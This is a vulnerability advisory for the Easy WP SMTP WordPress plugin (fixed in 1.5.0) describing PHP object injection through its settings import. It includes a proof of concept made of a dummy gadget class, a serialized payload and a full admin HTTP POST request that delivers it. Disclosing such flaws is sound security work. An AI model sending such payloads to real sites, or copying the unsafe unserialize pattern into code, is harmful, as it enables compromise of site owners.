WordPress Plugin Vulnerabilities

Easy WP SMTP < 1.5.0 - Admin+ PHP Objection Injection

Description

The plugin unserialises the content of an imported file, which could lead to PHP object injection issue when an admin import (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.

Proof of Concept

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named settings.json with the following content and import it via the Import function of the plugin (in Additional Settings tab): O:4:"Evil":0:{};

POST /wp-admin/options-general.php?page=swpsmtp_settings HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------127630456919881657704041725253
Content-Length: 747
Connection: close
Cookie: [admin]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="swpsmtp_import_settings"

1
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="swpsmtp_import_settings_file"; filename="easy_wp_smtp_settings.json"
Content-Type: application/json

O:4:"Evil":0:{};
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="easy_wp_smtp_import_settings_nonce"

e1cde708ae
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/options-general.php?page=swpsmtp_settings
-----------------------------127630456919881657704041725253--

Affects Plugins

Fixed in 1.5.0

References

Classification

Type
OBJECT INJECTION
CWE

Miscellaneous

Original Researcher
Nguyen Duy Quoc Khanh
Submitter
Nguyen Duy Quoc Khanh
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-10-10 (about 1 years ago)
Added
2022-10-10 (about 1 years ago)
Last Updated
2022-10-10 (about 1 years ago)

Other